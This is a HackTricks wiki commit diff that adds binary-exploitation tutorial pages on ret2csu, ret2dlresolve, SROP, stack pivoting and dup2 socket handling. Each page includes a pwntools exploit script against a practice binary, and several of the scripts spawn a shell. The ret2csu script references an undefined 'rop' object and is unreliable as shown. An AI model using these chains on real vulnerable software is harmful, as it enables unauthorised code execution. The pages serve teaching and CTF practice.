GITBOOK-4291: change request with no subject merged in GitBook

SUMMARY.md

@@ -699,10 +699,13 @@
       * [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
         * [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
     * [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
-    * [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
+    * [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
     * [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
     * [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
     * [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
+    * [SROP - Sigreturn-Oriented Programming](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md)
+    * [Ret2dlresolve](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md)
+    * [Ret2csu](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md)
     * [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
   * [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
     * [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
@@ -720,6 +723,7 @@
   * [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
     * [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
     * [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
+  * [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
   * [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
   * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
 * [Exploiting Tools](exploiting/tools/README.md)

reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md

@@ -0,0 +1,58 @@
+# Common Exploiting Problems
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+
+</details>
+
+## FDs in Remote Exploitation
+
+When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
+
+A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
+
+[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
+
+```python
+from pwn import *
+
+elf = context.binary = ELF('./vuln')
+p = remote('localhost', 9001)
+
+rop = ROP(elf)
+rop.raw('A' * 40)
+rop.dup2(4, 0)
+rop.dup2(4, 1)
+rop.win()
+
+p.sendline(rop.chain())
+p.recvuntil('Thanks!\x00')
+p.interactive()
+```
+
+## Socat & pty
+
+Note that socat already transfers `stdin` and `stdout` to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
+
+In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
+
+**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+
+</details>

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

@@ -0,0 +1,107 @@
+# Ret2csu
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## Basic Information
+
+**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.&#x20;
+
+When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
+
+### The Magic Gadgets in \_\_libc\_csu\_init
+
+In `__libc_csu_init`, there are two sequences of instructions (our "magic gadgets") that stand out:
+
+1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
+
+```armasm
+pop rbx;
+pop rbp;
+pop r12;
+pop r13;
+pop r14;
+pop r15;
+ret;
+```
+
+This gadget allows us to control these registers by popping values off the stack into them.
+
+2. The second sequence uses the values we set up to do a couple of things:
+   * **Move specific values into other registers**, making them ready for us to use as parameters in functions.
+   * **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
+
+```
+mov rdx, r14;
+mov rsi, r13;
+mov edi, r12d;
+call qword [r15 + rbx*8];
+```
+
+## Example
+
+Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
+
+Here's where **ret2csu** comes into play:
+
+1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
+2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
+
+You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
+
+```python
+from pwn import *
+
+elf = context.binary = ELF('./vuln')
+p = process()
+
+POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
+REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
+RW_LOC = 0x00404028
+
+rop.raw('A' * 40)
+rop.gets(RW_LOC)
+rop.raw(POP_CHAIN)
+rop.raw(0)                      # r12
+rop.raw(0)                      # r13
+rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
+rop.raw(RW_LOC)                 # r15 - holds location of called function!
+rop.raw(REG_CALL)               # all the movs, plus the call
+
+p.sendlineafter('me\n', rop.chain())
+p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
+print(p.recvline())                        # should receive "Awesome work!"
+```
+
+{% hint style="warning" %}
+Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called `win` (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
+{% endhint %}
+
+### Why Not Just Use libc Directly?
+
+Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md

@@ -0,0 +1,90 @@
+# Ret2dlresolve
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## Basic Information
+
+As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
+
+The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to resolve the specified symbol.
+
+Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
+
+Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** with the address to `$'/bin/sh'`.
+
+{% hint style="success" %}
+This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv.md) or [SROP](srop-sigreturn-oriented-programming.md)) and there are't ways to leak libc addresses.
+{% endhint %}
+
+You can find a better explanation about this technique in the second half of the video:
+
+{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
+
+## Structures
+
+It's necessary to fake 3 structures: **`JMPREL`**, **`STRTAB`** and **`SYMTAB`**. You have a better explanation about how these are built in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
+
+## Attack Summary
+
+1. Write fake estructures in some place
+2. Set the first argument of system (`$rdi = &'/bin/sh'`)
+3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
+4. **Call** `_dl_runtime_resolve`
+5. **`system`** will be resolved and called with `'/bin/sh'` as argument
+
+## Example
+
+You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
+
+```python
+from pwn import *
+
+elf = context.binary = ELF('./vuln', checksec=False)
+p = elf.process()
+rop = ROP(elf)
+
+# create the dlresolve object
+dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
+
+rop.raw('A' * 76)
+rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
+rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset
+
+log.info(rop.dump())
+
+p.sendline(rop.chain())
+p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in
+
+p.interactive()
+```
+
+## References
+
+* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
+* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md

@@ -182,8 +182,8 @@ Notice that ROP is just a technique in order to execute arbitrary code. Based in
 
 * **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
 
-{% content-ref url="ebp2ret-ebp-chaining.md" %}
+{% content-ref url="stack-pivoting-ebp2ret-ebp-chaining.md" %}
-[ebp2ret-ebp-chaining.md](ebp2ret-ebp-chaining.md)
+[stack-pivoting-ebp2ret-ebp-chaining.md](stack-pivoting-ebp2ret-ebp-chaining.md)
 {% endcontent-ref %}
 
 <details>

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md

@@ -60,7 +60,7 @@ Start              End                Offset             Perm Path
 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
 ```
 
-### Write String
+### Write String in memory
 
 Then you need to find a way to write arbitrary content in this address
 
@@ -111,6 +111,14 @@ rop += p64(0x6b6000) # Writable memory
 rop += writeGadget #Address to: mov qword ptr [rax], rdx
 ```
 
+## Lacking Gadgets
+
+If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
+
+{% content-ref url="srop-sigreturn-oriented-programming.md" %}
+[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
+{% endcontent-ref %}
+
 ## Example
 
 ```python

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md

@@ -0,0 +1,87 @@
+# SROP - Sigreturn-Oriented Programming
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## Basic Information
+
+**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
+
+After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
+
+The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
+
+{% hint style="danger" %}
+Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
+{% endhint %}
+
+Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
+
+{% content-ref url="rop-syscall-execv.md" %}
+[rop-syscall-execv.md](rop-syscall-execv.md)
+{% endcontent-ref %}
+
+For a better explanation check also:
+
+{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
+
+## Example
+
+You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), although this is the final exploit from there:
+
+```python
+from pwn import *
+
+elf = context.binary = ELF('./vuln', checksec=False)
+p = process()
+
+BINSH = elf.address + 0x1250
+POP_RAX = 0x41018
+SYSCALL_RET = 0x41015
+
+frame = SigreturnFrame()
+frame.rax = 0x3b            # syscall number for execve
+frame.rdi = BINSH           # pointer to /bin/sh
+frame.rsi = 0x0             # NULL
+frame.rdx = 0x0             # NULL
+frame.rip = SYSCALL_RET
+
+payload = b'A' * 8
+payload += p64(POP_RAX)
+payload += p64(0xf)
+payload += p64(SYSCALL_RET)
+payload += bytes(frame)
+
+p.sendline(payload)
+p.interactive()
+```
+
+## References
+
+* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
+* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
+
+<details>
+
+<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -1,4 +1,4 @@
-# EBP2Ret - EBP chaining
+# Stack Pivoting - EBP2Ret - EBP chaining
 
 <details>
 
@@ -59,6 +59,107 @@ Basically this way it's possible to chain several fake EBPs to control the flow
 
 Tbh, this is like a [ret2lib](ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
 
+Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
+
+```python
+from pwn import *
+
+elf = context.binary = ELF('./vuln')
+p = process()
+
+p.recvuntil('to: ')
+buffer = int(p.recvline(), 16)
+log.success(f'Buffer: {hex(buffer)}')
+
+LEAVE_RET = 0x40117c
+POP_RDI = 0x40122b
+POP_RSI_R15 = 0x401229
+
+payload = flat(
+    0x0,               # rbp (could be the address of anoter fake RBP)
+    POP_RDI,
+    0xdeadbeef,
+    POP_RSI_R15,
+    0xdeadc0de,
+    0x0,
+    elf.sym['winner']
+)
+
+payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)
+
+payload += flat(
+    buffer,         # Load leak address in RBP
+    LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
+)
+
+pause()
+p.sendline(payload)
+print(p.recvline())
+```
+
+## Other ways to control RSP
+
+### **`pop rsp`** gadget
+
+[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
+
+```python
+# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
+# This version has added comments
+
+from pwn import *
+
+elf = context.binary = ELF('./vuln')
+p = process()
+
+p.recvuntil('to: ')
+buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
+log.success(f'Buffer: {hex(buffer)}')
+
+POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
+POP_RDI = 0x40122b
+POP_RSI_R15 = 0x401229     # pop RSI and R15
+
+# The payload starts
+payload = flat(
+    0,                 # r13
+    0,                 # r14
+    0,                 # r15
+    POP_RDI,
+    0xdeadbeef,
+    POP_RSI_R15,
+    0xdeadc0de,
+    0x0,               # r15
+    elf.sym['winner']
+)
+
+payload = payload.ljust(104, b'A')     # pad to 104
+
+# Start popping RSP, this moves the stack to the leaked address and 
+# continues the ROP chain in the prepared payload
+payload += flat(
+    POP_CHAIN,
+    buffer             # rsp
+)
+
+pause()
+p.sendline(payload)
+print(p.recvline())
+```
+
+### xchg \<rag>, rsp gadget
+
+```
+pop <reg>                <=== return pointer
+<reg value>
+xchg <rag>, rsp
+```
+
+## References
+
+* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
+* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
+
 <details>
 
 <summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>